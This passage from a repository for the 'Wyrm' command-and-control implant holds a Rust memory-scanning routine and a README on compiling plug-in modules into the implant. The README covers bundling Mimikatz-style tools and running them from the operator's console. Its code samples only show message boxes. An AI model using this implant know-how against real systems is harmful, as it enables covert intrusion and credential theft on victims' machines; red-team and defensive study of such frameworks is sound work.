byte ptr) pub p_g_shims_enabled: *mut u8, } /// Scan a loaded module for a particular sequence of bytes, this will most commonly be used to resolve a pointer to /// an unexported function we wish to use. /// /// # Args /// - `image_base`: The base address of the image you wish to search /// - `image_size`: The total size of the image to search /// - `pattern`: A byte slice containing the bytes you wish to search for /// /// # Returns /// - `ok`: The address of the start of the pattern match /// - `err`: An empty error signifying the pattern was not found. #[inline(always)] pub fn scan_module_for_byte_pattern( image_base: *const c_void, image_size: usize, pattern: &[u8], ) -> Result<*const c_void, ()> { // Convert the raw address pointer to a byte pointer so we can read individual bytes let image_base = image_base as *const u8; let mut cursor = image_base as *const u8; // End of image denotes the end of our reads, if nothing is found by that point we have not found the // sequence of bytes let end_of_image = unsafe { image_base.add(image_size) }; while cursor != end_of_image { unsafe { let bytes = from_raw_parts(cursor, pattern.len()); if bytes == pattern { return Ok(cursor as *const _); } cursor = cursor.add(1); } } Err(()) } ================================================ FILE: wofs_static/Readme.md ================================================ # Static WOFs WOFs (Wyrm Object Files) are small, self-contained code modules that are baked into the implant at compile time. They're intended for pulling in existing tooling (e.g. Mimikatz, custom helpers) or for writing one-off routines in C/C++ (and pre-built Rust/Zig object files). Static WOFs are not DLLs and do not need to be position-independent; they are compiled and linked directly into the Wyrm implant as normal object files. At the moment there is no formal 'Wyrm API' exposed to WOFs beyond a simple FFI entrypoint. They just run as regular code inside the process. A richer API can be added later if there is demand for it. **Note**: If you wish anything to be printed to the terminal and to have that visible in the C2, you must write to `STD_OUTPUT_HANDLE`. See an example below. **Warning**: Failing to do this correctly could result in output going to the (hidden) console window of the agent. Printing items to the terminal as per the above paragraph is currently the only way to return data / results to the operator. ## Safety note Generally, WOF's are memory safe to use in a freestanding Wyrm process loaded by the loader. However, when using this in processes which are spawned via non-traditional techniques (for example, early cascade injection) using anything which depends on the C Runtime is considered unsafe and not recommended. It is my advice to avoid things like printf, malloc, etc, in favour of using linkable Windows API routines. In early/atypical execution contexts, CRT-dependent calls can fail because the CRT's per-thread/per-process state may not be initialised for the current thread. For example (see below), instead of `printf` use `WriteFile`. Instead of `malloc` call `HeapAlloc`. Etc. In Rust, you are free to use **any** function within the core library, seeing as it is freestanding with no requirement on a runtime, incidently making Rust more expressive to write WOFs. See below examples. ## Where WOFs live All static WOFs are placed under the `wofs_static` directory in the repository. Each top level subdirectory under `wofs_static` is treated as a separate WOF module. ### Example layout: ``` wofs_static/ 1/ main_inc.c main_inc.h main.c 2/ main.c print_fn.c sub/ my_header.h 3/ rust.o Readme.md ``` You can name these folders whatever you like in a real profile: - mimikatz - crypto_helpers - screenshooter - etc. The numbers (1, 2, 3) above are just an example. ## Writing a WOF in C/C++ A minimal example in wofs_static/2 might look like: `sub/my_header.h` - Defines any shared prototypes. - Includes `<windows.h>` and any other headers you need. `print_fn.c` - Implements helper routines, e.g. write_console(char *msg) that writes to `STD_OUTPUT_HANDLE`. `main.c` - Implements the actual WOF entrypoint function that you want Wyrm to call. You may wish to implement `main.c` as: ```C #include "sub/my_header.h" void ffi_two() { char* wof_msg = "Hello from WOF\0"; write_console(wof_msg); MessageBoxA( 0, wof_msg, wof_msg, MB_OK ); return 0; } ``` And `print_fn.c` as: ```C #include "sub/my_header.h" void write_console(char* msg) { HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE); DWORD written; WriteFile(h, msg, (DWORD)strlen(msg), &written, 0); } ``` And so on.. ## Passing arguments to a WOF Static WOFs can take a single string argument from the C2. From the operator’s point of view, the syntax looks like: With an argument: `wof my_function "Hello from WOF"` Without an argument: `wof my_function` This will allow you to pass some data into your entrypoint - this could be a good way to build a small glue like parser for another tool - for example, if you wish to bundle tool x, but tool x takes command line arguments, you can slightly modify the code to accept some input instead. You can parse this as whatever you like, albeit a string, or interpret those bytes as another type. The Wyrm C2 will automatically append a null byte to the end of your input, so please do not worry about doing that yourself. Example usage for C (also applicable with Rust, etc): ```C int my_function(char* msg) { int result = MessageBoxA( 0, msg, msg, MB_OK ); test(msg); return result; } ``` ## Using pre-built objects (e.g. Rust, Zig) You don't have to use C or C++ directly. You can: - Compile a Rust (or other language) project to an object file targeting `x86_64-pc-windows-msvc`. - Drop the resulting `.obj` / `.o` file into a WOF folder under `wofs_static`. The build script will detect these `.o` / `.obj` files via the same directory walk and treat them as additional object inputs. ### Building in Rust To build in rust, you want to make sure you are operating in a `no_std` environment and that your crate is a lib, specifically in your toml: ```toml [lib] crate-type = ["staticlib"] ``` Your library then implements your chosen behaviour, and you need at least one linkable symbol (via `pub extern "system" fn`), for example: ```rust #![no_std] #![no_main] use core::ptr::null_mut; use windows_sys::Win32::UI::WindowsAndMessaging::{MB_OK, MessageBoxA}; #[cfg_attr(not(test), panic_handler)] #[allow(unused)] fn panic(_info: &core::panic::PanicInfo) -> ! { loop {} } #[unsafe(no_mangle)] pub extern "system" fn rust_bof() -> u32 { let msg = "rust bof\0"; unsafe { MessageBoxA(null_mut(), msg.as_ptr(), msg.as_ptr(), MB_OK); } 0 } ``` Note that you can include external crates as normal; but they **must be no-std compliant**. If you want to interact with the Windows API easily, I would recommend the [windows_sys](https://crates.io/crates/windows-sys) crate. You can then compile this to a .o file: ```shell cargo rustc --lib --target x86_64-pc-windows-msvc --release -- --emit=obj -C codegen-units=1 ``` And now you can move the output `.o` file into `wofs_static` under a directory name for it to link up to your profile toml on the C2. ### More Rust examples Another few examples here showcase using the core library which is freestanding, with some llvm intrinsics, and these examples show using the pointer in the WOF function: ```Rust #![no_std] #![no_main] use core::{ffi::CStr, ptr::null_mut}; use windows_sys::Win32::UI::WindowsAndMessaging::{MB_OK, MessageBoxA}; #[cfg_attr(not(test), panic_handler)] #[allow(unused)] fn panic(_info: &core::panic::PanicInfo) -> ! { loop {} } #[unsafe(no_mangle)] pub extern "system" fn msg_box_checked(user_input: *const u8) -> u32 { if !user_input.is_null() { let safe_input = unsafe { CStr::from_ptr(user_input as _) }; unsafe { MessageBoxA(null_mut(), safe_input.as_ptr() as _, safe_input.as_ptr() as _, MB_OK); } } 0 } #[unsafe(no_mangle)] pub extern "system" fn msg_box_unchecked(user_input: *const u8) -> u32 { if !user_input.is_null() { unsafe { MessageBoxA(null_mut(), user_input, user_input, MB_OK); } } 0 } ``` ## Wiring WOFs via a profile From the `C2/profiles` side you don't manually set WOF. Instead, you configure a list of WOF folders, and the C2 translates that into the appropriate environment variable before compiling the implant. Example: - `wofs = ["mimikatz"]` or: - `wofs = ["mimikatz", "crypto_helpers", "screenshotter"]` Each entry corresponds to a folder under wofs_static: - `wofs_static/mimikatz` - `wofs_static/crypto_helpers` - `wofs_static/screenshotter` These modules are then statically linked into Wyrm at compile time. ## Executing WOFs from the C2 Once compiled into the implant, WOFs can be triggered from the C2 via the `wof` command. The command takes the module name (i.e. the folder name you configured in the profile). The agent uses its internal WOF metadata to resolve and invoke the appropriate entrypoint function from that module. Example (using the earlier naming): ```shell wof mimikatz ``` The exact behaviour (which symbol is used as the entrypoint, additional arguments, etc.) is controlled by the implant's WOF execution logic, but from the operator's perspective you only need to remember: - Add your code under `wofs_static/<name>`. - Reference `<name>` in the profile's wofs list. - Use `wof <name>` from the C2 to execute it.